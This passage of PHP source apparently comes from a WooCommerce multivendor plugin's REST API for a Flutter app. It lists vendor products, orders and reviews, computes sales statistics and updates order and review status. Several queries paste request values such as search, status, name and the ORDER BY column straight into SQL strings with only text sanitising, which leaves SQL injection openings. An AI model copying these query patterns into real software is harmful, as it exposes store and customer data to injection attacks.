$vendor_data["geolocation"]["store_lng"] = sanitize_text_field($data["store_lng"]);
$vendor_data["store_location"] = sanitize_text_field($data["store_location"]);
$vendor_data["store_lat"] = sanitize_text_field($data["store_lat"]);
$vendor_data["store_lng"] = sanitize_text_field($data["store_lng"]);
$vendor_data["store_hide_email"] = sanitize_text_field($data["store_hide_email"]);
$vendor_data["store_hide_phone"] = sanitize_text_field($data["store_hide_phone"]);
$vendor_data["store_hide_address"] = sanitize_text_field($data["store_hide_address"]);
$vendor_data["store_hide_map"] = sanitize_text_field($data["store_hide_map"]);
$vendor_data["store_hide_description"] = sanitize_text_field($data["store_hide_description"]);
$vendor_data["store_hide_policy"] = sanitize_text_field($data["store_hide_policy"]);
update_user_meta($user_id, "wcfmmp_profile_settings", $vendor_data);
return new WP_REST_Response(
[
"status" => "success",
"response" => 1,
],
200
);
}
public function flutter_get_products($request, $user_id)
{
global $wpdb;
$page = isset($request["page"]) ? sanitize_text_field($request["page"]) : 1;
$limit = isset($request["per_page"]) ? sanitize_text_field($request["per_page"]) : 10;
if(!is_numeric($page)){
$page = 1;
}
if(!is_numeric($limit)){
$limit = 10;
}
if ($page >= 1) {
$page = ($page - 1) * $limit;
}
if ($user_id) {
$vendor_id = absint($user_id);
}
$table_name = $wpdb->prefix . "posts";
$sql = "SELECT * FROM `$table_name` WHERE `$table_name`.`post_author` = $vendor_id AND `$table_name`.`post_type` = 'product' AND `$table_name`.`post_status` != 'trash'";
if (isset($request["search"])) {
$search = sanitize_text_field($request["search"]);
$search = "%$search%";
$sql .= " AND (`$table_name`.`post_content` LIKE '$search' OR `$table_name`.`post_title` LIKE '$search' OR `$table_name`.`post_excerpt` LIKE '$search')";
}
$sql .= " ORDER BY `ID` DESC LIMIT $limit OFFSET $page";
$item = $wpdb->get_results($sql);
$products_arr = [];
foreach ($item as $pro) {
$product = wc_get_product($pro->ID);
$p = $product->get_data();
$image_arr = [];
foreach (array_filter($p["gallery_image_ids"]) as $img) {
$image = wp_get_attachment_image_src($img, "full");
if (!is_null($image[0])) {
$image_arr[] = $image[0];
}
}
$image = wp_get_attachment_image_src($p["image_id"], "full");
if (!is_null($image[0])) {
$p["featured_image"] = $image[0];
}
$p["images"] = $image_arr;
$p["category_ids"] = [];
$p['categories'] = [];
$category_ids = wp_get_post_terms($p["id"], "product_cat");
foreach ($category_ids as $cat) {
if ($cat->slug != "uncategorized") {
$p["category_ids"][] = $cat->term_id;
$cat_data = $cat;
$cat_data->has_children = !empty(get_term_children($cat->term_id, 'product_cat'));
$p['categories'][] = $cat_data;
}
}
$p["type"] = $product->get_type();
$p["on_sale"] = $product->is_on_sale();
$p["tags"] = wp_get_post_terms($product->get_id(), "product_tag");
$attributes = [];
foreach ($product->get_attributes() as $attribute) {
$attributes[] = [
"id" => $attribute["is_taxonomy"]
? wc_attribute_taxonomy_id_by_name($attribute["name"])
: 0,
"name" =>
0 === strpos($attribute["name"], "pa_")
? get_taxonomy($attribute["name"])->labels
->singular_name
: $attribute["name"],
"position" => (int)$attribute["position"],
"visible" => (bool)$attribute["is_visible"],
"variation" => (bool)$attribute["is_variation"],
"options" => $this->get_attribute_options(
$product->get_id(),
$attribute
),
"slugs" => $this->get_attribute_slugs(
$product->get_id(),
$attribute
),
"default" => 0 === strpos($attribute["name"], "pa_"),
"slug" => str_replace(' ','-',$attribute["name"]),
];
}
$p["attributesData"] = $attributes;
if ($product->get_type() == "variable") {
$result = [];
$p['min_price'] = $product->get_variation_price();
$p['max_price'] = $product->get_variation_price('max');
if(!$p['min_price']){
$p['min_price'] = '0';
}
if(!$p['max_price']){
$p['max_price'] = '0';
}
$query = [
"post_parent" => $product->get_id(),
"post_status" => ["publish", "private"],
"post_type" => ["product_variation"],
"posts_per_page" => -1,
];
$wc_query = new WP_Query($query);
while ($wc_query->have_posts()):
$wc_query->next_post();
$result[] = $wc_query->post;
endwhile;
foreach ($result as $variation) {
$p_varation = new WC_Product_Variation($variation->ID);
$dataVariation = array();
$dataVariation["variation_id"] = $p_varation->get_id();
$dataVariation["max_qty"] = $p_varation->get_stock_quantity();
$dataVariation["variation_is_active"] =
$p_varation->get_status() == "publish";
$dataVariation["display_price"] = $p_varation->get_sale_price();
$dataVariation["display_regular_price"] = $p_varation->get_regular_price();
$dataVariation["slugs"] = $p_varation->get_attributes();
$dataVariation["manage_stock"] = $p_varation->get_manage_stock();
$attributes = $p_varation->get_attributes();
$dataVariation["attributes"] = [];
foreach ($dataVariation["slugs"] as $key => $value) {
foreach ($p["attributesData"] as $item) {
if ($item["slug"] === $key) {
for ($i = 0; $i < count($item["slugs"]); $i++) {
if ($value === $item["slugs"][$i]) {
$dataVariation["attributes"][$key] =
$item["options"][$i];
break;
}
}
break;
}
}
}
$p["variable_products"][] = $dataVariation;
}
}
$products_arr[] = $p;
}
return apply_filters(
"flutter_get_products",
$products_arr,
$request,
$user_id
);
}
public function flutter_get_orders($request, $user_id)
{
$profile_pic = [];
$api = new WC_REST_Orders_V1_Controller();
$results = [];
if (
is_plugin_active(
"wc-multivendor-marketplace/wc-multivendor-marketplace.php"
)
) {
global $wpdb;
$page = 1;
$per_page = 10;
if (isset($request['page'])) {
$page = sanitize_text_field($request['page']);
if(!is_numeric($page)){
$page = 1;
}
}
if (isset($request['per_page'])) {
$per_page = sanitize_text_field($request['per_page']);
if(!is_numeric($per_page)){
$per_page = 10;
}
}
$page = ($page - 1) * $per_page;
$table_name = $wpdb->prefix . "wcfm_marketplace_orders";
$sql =
"SELECT * FROM " . $table_name . " WHERE vendor_id = $user_id AND is_trashed != 1";
if (isset($request["status"])) {
$status = sanitize_text_field($request["status"]);
$sql .= " AND order_status = '$status'";
}
if (isset($request["search"])) {
$search = sanitize_text_field($request["search"]);
$sql .= " AND order_id LIKE '$search%'";
}
if (isset($request['name'])) {
$results = [];
$table_name2 = $wpdb->prefix . "users";
$name = sanitize_text_field($request['name']);
$sql2 = "SELECT {$table_name2}.ID";
$sql2 .= " FROM {$table_name2}";
$sql2 .= " WHERE {$table_name2}.display_name LIKE '%$name%'";
$sql2 .= " ORDER BY {$table_name2}.display_name";
$users = $wpdb->get_results($sql2);
if (count($users) > 0) {
$user_str = array();
foreach ($users as $user) {
$user_str[] = $user->ID;
}
$user_strr = implode(',', $user_str);
$sql .= " AND `{$table_name}`.customer_id IN ({$user_strr})";
} else {
return new WP_REST_Response(
[
"status" => "success",
"response" => [],
],
200
);
}
}
$sql .= " GROUP BY $table_name.`order_id` ORDER BY $table_name.`order_id` DESC LIMIT $per_page OFFSET $page";
$items = $wpdb->get_results($sql);
foreach ($items as $item) {
$order = wc_get_order($item->order_id);
if (is_bool($order)) {
continue;
}
$response = $api->prepare_item_for_response($order, $request);
$order = $response->get_data();
$count = count($order["line_items"]);
$order["product_count"] = $count;
$line_items = array();
for ($i = 0; $i < $count; $i++) {
$product_id = absint(
$order["line_items"][$i]["product_id"]
);
$product = get_post($product_id);
$product_author = $product->post_author;
if (absint($product_author) != absint($user_id)) {
continue;
}
$commission_data = get_post_meta($product_id, '_wcfmmp_commission', true);
if(!empty($commission_data)){
$order["line_items"][$i]['commission'] = $commission_data;
}
$image = wp_get_attachment_image_src(
get_post_thumbnail_id($product_id)
);
if (!is_null($image[0])) {
$order["line_items"][$i]["featured_image"] = $image[0];
}
$order_item = new WC_Order_Item_Product($order["line_items"][$i]["id"]);
$order["line_items"][$i]["meta"] = $order_item->get_meta_data();
if (is_plugin_active('wc-frontend-manager-delivery/wc-frontend-manager-delivery.php')) {
$table_name = $wpdb->prefix . "wcfm_delivery_orders";
$sql = "SELECT delivery_boy FROM `{$table_name}`";
$sql .= " WHERE 1=1";
$sql .= " AND product_id = '{$product_id}'";
$sql .= " AND order_id = '{$item->order_id}'";
$users = $wpdb->get_results($sql);
if (count($users) > 0) {
$user = get_userdata($users[0]->delivery_boy);
$order["line_items"][$i]['delivery_user'] = [
"id" => $user->ID,
"name" => $user->display_name,
"profile_picture" => $profile_pic,
];
}
}
$line_items[] = $order["line_items"][$i];
}
$order["line_items"] = $line_items;
$results[] = $order;
}
}
return new WP_REST_Response(
[
"status" => "success",
"response" => $results,
],
200
);
}
public function flutter_get_sale_stats($user_id)
{
$id = $user_id;
$price_decimal = get_option("woocommerce_price_num_decimals", 2);
$sales_stats["gross_sales"]["last_month"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "last_month"),
$price_decimal
);
$sales_stats["gross_sales"]["month"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "month"),
$price_decimal
);
$sales_stats["gross_sales"]["year"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "year"),
$price_decimal
);
$sales_stats["gross_sales"]["week_1"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "7day"),
$price_decimal
);
$sales_stats["gross_sales"]["week_2"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "14day"),
$price_decimal
);
$sales_stats["gross_sales"]["week_3"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "21day"),
$price_decimal
);
$sales_stats["gross_sales"]["week_4"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "28day"),
$price_decimal
);
$sales_stats["gross_sales"]["week_5"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "35day"),
$price_decimal
);
$sales_stats["gross_sales"]["all"] = round(
$this->wcfm_get_gross_sales_by_vendor($id, "all"),
$price_decimal
);
if ($sales_stats["gross_sales"]["last_month"] != 0) {
$profit_percentage = round(
$sales_stats["gross_sales"]["month"] -
$sales_stats["gross_sales"]["last_month"],
2
);
$profit_percentage = round(
(($profit_percentage /
$sales_stats["gross_sales"]["last_month"]) *
100) /
100,
2
);
} else {
$profit_percentage = round(
$sales_stats["gross_sales"]["month"] -
$sales_stats["gross_sales"]["last_month"],
2
);
$profit_percentage = round(
(($profit_percentage / 1) * 100) / 100,
2
);
}
$sales_stats["gross_sales"]["profit_percentage"] = $profit_percentage;
$sales_stats["earnings"]["last_month"] = round(
$this->wcfm_get_commission_by_vendor($id, "last_month"),
$price_decimal
);
$sales_stats["earnings"]["month"] = round(
$this->wcfm_get_commission_by_vendor($id, "month"),
$price_decimal
);
$sales_stats["earnings"]["year"] = round(
$this->wcfm_get_commission_by_vendor($id, "year"),
$price_decimal
);
$sales_stats["earnings"]["week_1"] = round(
$this->wcfm_get_commission_by_vendor($id, "7day"),
$price_decimal
);
$sales_stats["earnings"]["week_2"] = round(
$this->wcfm_get_commission_by_vendor($id, "14day"),
$price_decimal
);
$sales_stats["earnings"]["week_3"] = round(
$this->wcfm_get_commission_by_vendor($id, "21day"),
$price_decimal
);
$sales_stats["earnings"]["week_4"] = round(
$this->wcfm_get_commission_by_vendor($id, "28day"),
$price_decimal
);
$sales_stats["earnings"]["week_5"] = round(
$this->wcfm_get_commission_by_vendor($id, "35day"),
$price_decimal
);
$sales_stats["earnings"]["all"] = round(
$this->wcfm_get_commission_by_vendor($id, "all"),
$price_decimal
);
if ($sales_stats["earnings"]["last_month"] != 0) {
$profit_percentage = round(
$sales_stats["earnings"]["month"] -
$sales_stats["earnings"]["last_month"],
2
);
$profit_percentage = round(
(($profit_percentage / $sales_stats["earnings"]["last_month"]) *
100) /
100,
2
);
} else {
$profit_percentage = round(
$sales_stats["earnings"]["month"] -
$sales_stats["earnings"]["last_month"],
2
);
$profit_percentage = round(
(($profit_percentage / 1) * 100) / 100,
2
);
}
$sales_stats["earnings"]["profit_percentage"] = $profit_percentage;
$sales_stats["currency"] = get_woocommerce_currency();
return new WP_REST_Response(
[
"status" => "success",
"response" => $sales_stats,
],
200
);
}
public function flutter_update_order_status($request, $user_id)
{
global $WCFM;
$order_id = sanitize_text_field($request['order_id']);
$order_status = sanitize_text_field($request['order_status']);
if (!is_numeric($order_id)) {
return new WP_REST_Response(array(
'status' => 'success',
'response' => []
), 200);
}
$order = wc_get_order($order_id);
$order->update_status($order_status, "", true);
$shop_name = get_user_by("ID", $user_id)->display_name;
$note =sanitize_text_field($request["customer_note"]);
if (!empty($note)) {
$order->add_order_note($note, true, true);
}
if (wcfm_is_vendor()) {
$shop_name = wcfm_get_vendor_store(absint($user_id));
}
$wcfm_messages = sprintf(
__(
"Order status updated to <b>%s</b> by <b>%s</b>",
"wc-frontend-manager"
),
wc_get_order_status_name(str_replace("wc-", "", $order_status)),
$shop_name
);
$is_customer_note = apply_filters(
"wcfm_is_allow_order_update_note_for_customer",
"1"
);
if (wcfm_is_vendor($user_id)) {
add_filter(
"woocommerce_new_order_note_data",
[$WCFM->wcfm_marketplace, "wcfm_update_comment_vendor"],
10,
2
);
}
$comment_id = $order->add_order_note($wcfm_messages, $is_customer_note);
if (wcfm_is_vendor($user_id)) {
add_comment_meta($comment_id, "_vendor_id", $user_id);
}
if (wcfm_is_vendor($user_id)) {
remove_filter(
"woocommerce_new_order_note_data",
[$WCFM->wcfm_marketplace, "wcfm_update_comment_vendor"],
10,
2
);
}
$wcfm_messages = sprintf(
__(
"<b>%s</b> order status updated to <b>%s</b> by <b>%s</b>",
"wc-frontend-manager"
),
'#<a target="_blank" class="wcfm_dashboard_item_title" href="' .
get_wcfm_view_order_url($order_id) .
'">' .
$order->get_order_number() .
"</a>",
wc_get_order_status_name(str_replace("wc-", "", $order_status)),
$shop_name
);
$WCFM->wcfm_notification->wcfm_send_direct_message(
-2,
0,
1,
0,
$wcfm_messages,
"status-update"
);
do_action("woocommerce_order_edit_status", $order_id, $order_status);
do_action("wcfm_order_status_updated", $order_id, $order_status);
return new WP_REST_Response(
[
"status" => "success",
"response" => $order->get_data(),
],
200
);
}
public function flutter_get_reviews($request, $user_id)
{
global $WCFM, $wpdb, $WCFMmp;
$vendor_id = $user_id;
$length = 10;
$offset = 1;
if (isset($request['page'])) {
$offset = sanitize_text_field($request['page']);
if(!is_numeric($offset)){
$offset = 1;
}
}
if (isset($request['per_page'])) {
$length = sanitize_text_field($request['per_page']);
if(!is_numeric($length)){
$length = 10;
}
}
$offset = ($offset - 1) * $length;
$the_orderby = !empty($request["orderby"])
? sanitize_text_field($request["orderby"])
: "ID";
$the_order =
!empty($request["order"]) && "asc" === $request["order"]
? "ASC"
: "DESC";
$status_filter = "";
if (isset($request["status_type"]) && $request["status_type"] != "") {
$status_filter = sanitize_text_field($request["status_type"]);
if ($status_filter == "approved") {
$status_filter = " AND `approved` = 1";
} elseif ($status_filter == "pending") {
$status_filter = " AND `approved` = 0";
}
}
$reviews_vendor_filter = " AND `vendor_id` = " . $vendor_id;
$sql = "SELECT COUNT(ID) from {$wpdb->prefix}wcfm_marketplace_reviews";
$sql .= " WHERE 1=1";
$sql .= $reviews_vendor_filter;
$sql .= $status_filter;
$wcfm_review_items = $wpdb->get_var($sql);
if (!$wcfm_review_items) {
$wcfm_review_items = 0;
}
$sql = "SELECT * from {$wpdb->prefix}wcfm_marketplace_reviews";
$sql .= " WHERE 1=1";
$sql .= $reviews_vendor_filter;
$sql .= $status_filter;
$sql .= " ORDER BY `{$the_orderby}` {$the_order}";
$sql .= " LIMIT {$length}";
$sql .= " OFFSET {$offset}";
$wcfm_reviews_array = $wpdb->get_results($sql);
return new WP_REST_Response(
[
"status" => "success",
"response" => $wcfm_reviews_array,
],
200
);
}
// Update review status
function flutter_update_review($request)
{
global $WCFM, $WCFMmp, $wpdb;
$reviewid = sanitize_text_field($request["id"]);
$status = sanitize_text_field($request["status"]);
if(!is_numeric($reviewid) || !is_numeric($status)){
return;
}
$wcfm_review_categories = get_wcfm_marketplace_active_review_categories();
if ($reviewid) {
$review_data = $wpdb->get_row(
"SELECT * FROM {$wpdb->prefix}wcfm_marketplace_reviews WHERE `ID`= " .
$reviewid
);
$review_meta = $wpdb->get_results(
"SELECT * FROM {$wpdb->prefix}wcfm_marketplace_review_rating_meta WHERE `type` = 'rating_category' AND `review_id`= " .
$reviewid .
" ORDER BY ID ASC"
);
if (
$review_data &&
!empty($review_data) &&
is_object($review_data)
) {
if ($status) {
// On Approve
$total_review_count = get_user_meta(
$review_data->vendor_id,
"_wcfmmp_total_review_count",
true
);
if (!$total_review_count) {
$total_review_count = 0;
} else {
$total_review_count = absint($total_review_count);
}
$total_review_count++;
update_user_meta(
$review_data->vendor_id,
"_wcfmmp_total_review_count",
$total_review_count
);
$total_review_rating = get_user_meta(
$review_data->vendor_id,
"_wcfmmp_total_review_rating",
true
);
if (!$total_review_rating) {
$total_review_rating = 0;
} else {
$total_review_rating = (float)$total_review_rating;
}
$total_review_rating += (float)$review_data->review_rating;
update_user_meta(
$review_data->vendor_id,
"_wcfmmp_total_review_rating",
$total_review_rating
);
$avg_review_rating =
$total_review_rating / $total_review_count;
update_user_meta(
$review_data->vendor_id,
"_wcfmmp_avg_review_rating",
$avg_review_rating
);
$wcfm_store_review_categories = [];
if (!empty($review_meta)) {
foreach ($review_meta as $review_meta_cat) {
$wcfm_store_review_categories[] =
$review_meta_cat->value;
}
}
$category_review_rating = get_user_meta(
$review_data->vendor_id,
"_wcfmmp_category_review_rating",
true
);
if (!$category_review_rating) {
$category_review_rating = [];
}
foreach (
$wcfm_review_categories
as $wcfm_review_cat_key => $wcfm_review_category
) {
if (
isset(
$wcfm_store_review_categories[$wcfm_review_cat_key]
)
) {
$total_category_review_rating = 0;
$avg_category_review_rating = 0;
if (
$category_review_rating &&
!empty($category_review_rating) &&
isset(
$category_review_rating[$wcfm_review_cat_key]
)
) {
$total_category_review_rating =
$category_review_rating[$wcfm_review_cat_key]["total"];
$avg_category_review_rating =
$category_review_rating[$wcfm_review_cat_key]["avg"];
}
$total_category_review_rating +=
(float)$wcfm_store_review_categories[$wcfm_review_cat_key];
$avg_category_review_rating =
$total_category_review_rating /
$total_review_count;
$category_review_rating[$wcfm_review_cat_key]["total"] = $total_category_review_rating;
$category_review_rating[$wcfm_review_cat_key]["avg"] = $avg_category_review_rating;
} else {
$category_review_rating[$wcfm_review_cat_key]["total"] = 0;
$category_review_rating[$wcfm_review_cat_key]["avg"] = 0;
}
}
$category_review_rating = update_user_meta(
$review_data->vendor_id,
"_wcfmmp_category_review_rating",
$category_review_rating
);
update_user_meta(
$review_data->vendor_id,
"_wcfmmp_last_author_id",
$review_data->author_id
);
update_user_meta(
$review_data->vendor_id,
"_wcfmmp_last_author_name",
$review_data->author_name
);
$wpdb->update(
"{$wpdb->prefix}wcfm_marketplace_reviews",
[
"approved" => 1,
],
[
"ID" => $reviewid,
],
["%d"],
["%d"]
);
} else {
// On UnApprove
$total_review_count = get_user_meta(
$review_data->vendor_id,
"_wcfmmp_total_review_count",
true
);
if (!$total_review_count) {
$total_review_count = 0;
} else {
$total_review_count = absint($total_review_count);
}
if ($total_review_count) {
$total_review_count--;
}
update_user_meta(
$review_data->vendor_id,
"_wcfmmp_total_review_count",
$total_review_count
);
$total_review_rating = get_user_meta(
$review_data->vendor_id,
"_wcfmmp_total_review_rating",
true
);
if (!$total_review_rating) {
$total_review_rating = 0;
} else {
$total_review_rating = (float)$total_review_rating;
}
if ($total_review_rating) {
$total_review_rating -=
(float)$review_data->review_rating;
}
update_user_meta(
$review_data->vendor_id,
"_wcfmmp_total_review_rating",
$total_review_rating
);
$avg_review_rating = 0;
if ($total_review_rating && $total_review_count) {
$avg_review_rating =
$total_review_rating / $total_review_count;
}
update_user_meta(
$review_data->vendor_id,
"_wcfmmp_avg_review_rating",
$avg_review_rating
);
$wcfm_store_review_categories = [];
if (!empty($review_meta)) {
foreach ($review_meta as $review_meta_cat) {
$wcfm_store_review_categories[] =
$review_meta_cat->value;
}
}
$category_review_rating = get_user_meta(
$review_data->vendor_id,
"_wcfmmp_category_review_rating",
true
);
if (!$category_review_rating) {
$category_review_rating = [];
}
foreach (
$wcfm_review_categories
as $wcfm_review_cat_key => $wcfm_review_category
) {
if (
isset(
$wcfm_store_review_categories[$wcfm_review_cat_key]
)
) {
$total_category_review_rating = 0;
$avg_category_review_rating = 0;
if (
$category_review_rating &&
!empty($category_review_rating) &&
isset(
$category_review_rating[$wcfm_review_cat_key]
)
) {
$total_category_review_rating =
$category_review_rating[$wcfm_review_cat_key]["total"];
$avg_category_review_rating =
$category_review_rating[$wcfm_review_cat_key]["avg"];
}
if ($total_category_review_rating) {
$total_category_review_rating -=
(float)$wcfm_store_review_categories[$wcfm_review_cat_key];
}
if (
$total_category_review_rating &&
$total_review_count
) {
$avg_category_review_rating =
$total_category_review_rating /
$total_review_count;
}
$category_review_rating[$wcfm_review_cat_key]["total"] = $total_category_review_rating;
$category_review_rating[$wcfm_review_cat_key]["avg"] = $avg_category_review_rating;
} else {
$category_review_rating[$wcfm_review_cat_key]["total"] = 0;
$category_review_rating[$wcfm_review_cat_key]["avg"] = 0;
}
}
$category_review_rating = update_user_meta(
$review_data->vendor_id,
"_wcfmmp_category_review_rating",
$category_review_rating
);
$wpdb->update(
"{$wpdb->prefix}wcfm_marketplace_reviews",
[
"approved" => 0,
],
[
"ID" => $reviewid,
],
["%d"],
["%d"]
);
}
}
}
}
/* GET WCFM SALE STATS FUNCTIONS. CUSTOM BY TOAN 04/11/2020 */
function wcfm_query_time_range_filter(
$sql,
$time,
$interval = "7day",
$start_date = "",
$end_date = "",
$table_handler = "commission"
)
{
switch ($interval) {
case "year":
$sql .= " AND YEAR( {$table_handler}.{$time} ) = YEAR( CURDATE() )";
break;
case "last_month":
$sql .= " AND MONTH( {$table_handler}.{$time} ) = MONTH( NOW() ) - 1";
break;
case "month":
$sql .= " AND MONTH( {$table_handler}.{$time} ) = MONTH( NOW() )";
break;
case "all":
break;
case "7day":
$sql .= " AND DATE( {$table_handler}.{$time} ) BETWEEN DATE_SUB( NOW(), INTERVAL 7 DAY ) AND NOW()";
break;
case "14day":
$sql .= " AND DATE( {$table_handler}.{$time} ) BETWEEN DATE_SUB( NOW(), INTERVAL 14 DAY ) AND DATE_SUB( NOW(), INTERVAL 7 DAY )";
break;
case "21day":
$sql .= " AND DATE( {$table_handler}.{$time} ) BETWEEN DATE_SUB( NOW(), INTERVAL 21 DAY ) AND DATE_SUB( NOW(), INTERVAL 14 DAY )";
break;
case "28day":
$sql .= " AND DATE( {$table_handler}.{$time} ) BETWEEN DATE_SUB( NOW(), INTERVAL 28 DAY ) AND DATE_SUB( NOW(), INTERVAL 21 DAY )";
break;
case "35day":
$sql .= " AND DATE( {$table_handler}.{$time} ) BETWEEN DATE_SUB( NOW(), INTERVAL 35 DAY ) AND DATE_SUB( NOW(), INTERVAL 28 DAY )";
break;
case "default":
}
return $sql;
}
function wcfm_get_gross_sales_by_vendor(
$vendor_id = "",
$interval = "7day",
$is_paid = false,
$order_id = 0,
$filter_date_form = "",
$filter_date_to = ""
)
{
global $WCFM, $wpdb, $WCMp, $WCFMmp;
if ($vendor_id) {
$vendor_id = absint($vendor_id);
}
$gross_sales = 0;
$marketplece = wcfm_is_marketplace();
if ($marketplece == "wcvendors") {
$sql = "SELECT order_id, GROUP_CONCAT(product_id) product_ids, SUM( commission.total_shipping ) AS total_shipping FROM {$wpdb->prefix}pv_commission AS commission";
$sql .= " WHERE 1=1";
if ($vendor_id) {
$sql .= " AND `vendor_id` = {$vendor_id}";
}
if ($order_id) {
$sql .= " AND `order_id` = {$order_id}";
} else {
if ($is_paid) {
$sql .= " AND commission.status = 'paid'";
}
$sql = $this->wcfm_query_time_range_filter(
$sql,
"time",
$interval,
$filter_date_form,
$filter_date_to
);
}
$sql .= " GROUP BY commission.order_id";
$gross_sales_whole_week = $wpdb->get_results($sql);
if (!empty($gross_sales_whole_week)) {
foreach ($gross_sales_whole_week as $net_sale_whole_week) {
if ($net_sale_whole_week->order_id) {
$order_post_title = get_the_title(
$net_sale_whole_week->order_id
);
if (!$order_post_title) {
continue;
}
try {
$order = wc_get_order(
$net_sale_whole_week->order_id
);
$line_items = $order->get_items("line_item");
$valid_items = (array)($order_item_ids = explode(
",",
$net_sale_whole_week->product_ids
));
foreach ($line_items as $key => $line_item) {
if ($line_item->get_product_id() == 0) {
$_product_id = wc_get_order_item_meta(
$key,
"_product_id",
true
);
$_variation_id = wc_get_order_item_meta(
$key,
"_variation_id",
true
);
if (
in_array($_product_id, $valid_items) ||
in_array($_variation_id, $valid_items)
) {
$gross_sales += (float)sanitize_text_field(
$line_item->get_total()
);
if (
version_compare(
WCV_VERSION,
"2.0.0",
"<"
)
) {
if (
WC_Vendors::$pv_options->get_option(
"give_tax"
)
) {
$gross_sales += (float)sanitize_text_field(
$line_item->get_total_tax()
);
}
} else {
if (
get_option(
"wcvendors_vendor_give_taxes"
)
) {
$gross_sales += (float)sanitize_text_field(
$line_item->get_total_tax()
);
}
}
}
} elseif (
in_array(
$line_item->get_variation_id(),
$valid_items
) ||
in_array(
$line_item->get_product_id(),
$valid_items
)
) {
$gross_sales += (float)sanitize_text_field(
$line_item->get_total()
);
if (
version_compare(
WCV_VERSION,
"2.0.0",
"<"
)
) {
if (
WC_Vendors::$pv_options->get_option(
"give_tax"
)
) {
$gross_sales += (float)sanitize_text_field(
$line_item->get_total_tax()
);
}
} else {
if (
get_option(
"wcvendors_vendor_give_taxes"
)
) {
$gross_sales += (float)sanitize_text_field(
$line_item->get_total_tax()
);
}
}
}
}
} catch (Exception $e) {
continue;
}
}
if (version_compare(WCV_VERSION, "2.0.0", "<")) {
if (
WC_Vendors::$pv_options->get_option("give_shipping")
) {
$gross_sales +=
(float)$net_sale_whole_week->total_shipping;
}
} else {
if (get_option("wcvendors_vendor_give_shipping")) {
$gross_sales +=
(float)$net_sale_whole_week->total_shipping;
}
}
}
}
} elseif ($marketplece == "wcmarketplace") {
$sql = "SELECT order_item_id, shipping, shipping_tax_amount FROM {$wpdb->prefix}wcmp_vendor_orders AS commission";
$sql .= " WHERE 1=1";
if ($vendor_id) {
$sql .= " AND `vendor_id` = {$vendor_id}";
}
if ($order_id) {
$sql .= " AND `order_id` = {$order_id}";
} else {
$sql .=
" AND `line_item_type` = 'product' AND `commission_id` != 0 AND `commission_id` != '' AND `is_trashed` != 1";
if ($is_paid) {
$sql .= " AND commission.commission_status = 'paid'";
$sql = $this->wcfm_query_time_range_filter(
$sql,
"commission_paid_date",
$interval,
$filter_date_form,
$filter_date_to
);
} else {
$sql = $this->wcfm_query_time_range_filter(
$sql,
"created",
$interval,
$filter_date_form,
$filter_date_to
);
}
}
$gross_sales_whole_week = $wpdb->get_results($sql);
if (!empty($gross_sales_whole_week)) {
foreach ($gross_sales_whole_week as $net_sale_whole_week) {
if ($net_sale_whole_week->order_item_id) {
try {
$line_item = new WC_Order_Item_Product(
$net_sale_whole_week->order_item_id
);
$gross_sales += (float)sanitize_text_field(
$line_item->get_total()
);
if (
$WCMp->vendor_caps->vendor_payment_settings(
"give_tax"
)
) {
$gross_sales += (float)sanitize_text_field(
$line_item->get_total_tax()
);
$gross_sales +=
(float)$net_sale_whole_week->shipping_tax_amount;
}
if (
$WCMp->vendor_caps->vendor_payment_settings(
"give_shipping"
)
) {
$gross_sales +=
(float)$net_sale_whole_week->shipping;
}
} catch (Exception $e) {
continue;
}
}
}
}
} elseif ($marketplece == "wcpvendors") {
$sql =
"SELECT SUM( commission.product_amount ) AS total_product_amount, SUM( commission.product_shipping_amount ) AS product_shipping_amount, SUM( commission.product_shipping_tax_amount ) AS product_shipping_tax_amount, SUM( commission.product_tax_amount ) AS product_tax_amount FROM " .
WC_PRODUCT_VENDORS_COMMISSION_TABLE .
" AS commission";
$sql .= " WHERE 1=1";
if ($vendor_id) {
$sql .= " AND commission.vendor_id = {$vendor_id}";
}
if ($order_id) {
$sql .= " AND `order_id` = {$order_id}";
} else {
if ($is_paid) {
$sql .= " AND commission.commission_status = 'paid'";
$sql = $this->wcfm_query_time_range_filter(
$sql,
"paid_date",
$interval,
$filter_date_form,
$filter_date_to
);
} else {
$sql = $this->wcfm_query_time_range_filter(
$sql,
"order_date",
$interval,
$filter_date_form,
$filter_date_to
);
}
}
$total_sales = $wpdb->get_results($sql);
if (!empty($total_sales)) {
foreach ($total_sales as $total_sale) {
$gross_sales =
$total_sale->total_product_amount +
$total_sale->product_shipping_amount +
$total_sale->product_shipping_tax_amount +
$total_sale->product_tax_amount;
}
}
} elseif ($marketplece == "dokan") {
$sql = "SELECT SUM( commission.order_total ) AS total_order_amount FROM {$wpdb->prefix}dokan_orders AS commission LEFT JOIN {$wpdb->posts} p ON commission.order_id = p.ID";
$sql .= " WHERE 1=1";
if ($vendor_id) {
$sql .= " AND commission.seller_id = {$vendor_id}";
}
if ($order_id) {
$sql .= " AND `commission.order_id` = {$order_id}";
} else {
$status = dokan_withdraw_get_active_order_status_in_comma();
$sql .= " AND commission.order_status IN ({$status})";
$sql = $this->wcfm_query_time_range_filter(
$sql,
"post_date",
$interval,
"",
"",
"p"
);
}
$total_sales = $wpdb->get_results($sql);
if (!empty($total_sales)) {
foreach ($total_sales as $total_sale) {
$gross_sales = $total_sale->total_order_amount;
}
}
} elseif ($marketplece == "wcfmmarketplace") {
$sql = "SELECT ID, order_id, item_id, item_total, item_sub_total, refunded_amount, shipping, tax, shipping_tax_amount FROM {$wpdb->prefix}wcfm_marketplace_orders AS commission";
$sql .= " WHERE 1=1";
if ($vendor_id) {
$sql .= " AND `vendor_id` = {$vendor_id}";
}
if ($order_id) {
$sql .= " AND `order_id` = {$order_id}";
//$sql .= " AND `is_refunded` != 1";
} else {
$sql .= apply_filters(
"wcfm_order_status_condition",
"",
"commission"
);
$sql .= " AND `is_trashed` = 0";
if ($is_paid) {
$sql .= " AND commission.withdraw_status = 'completed'";
$sql = $this->wcfm_query_time_range_filter(
$sql,
"commission_paid_date",
$interval,
$filter_date_form,
$filter_date_to
);
} else {
$sql = $this->wcfm_query_time_range_filter(
$sql,
"created",
$interval,
$filter_date_form,
$filter_date_to
);
}
}
$gross_sales_whole_week = $wpdb->get_results($sql);
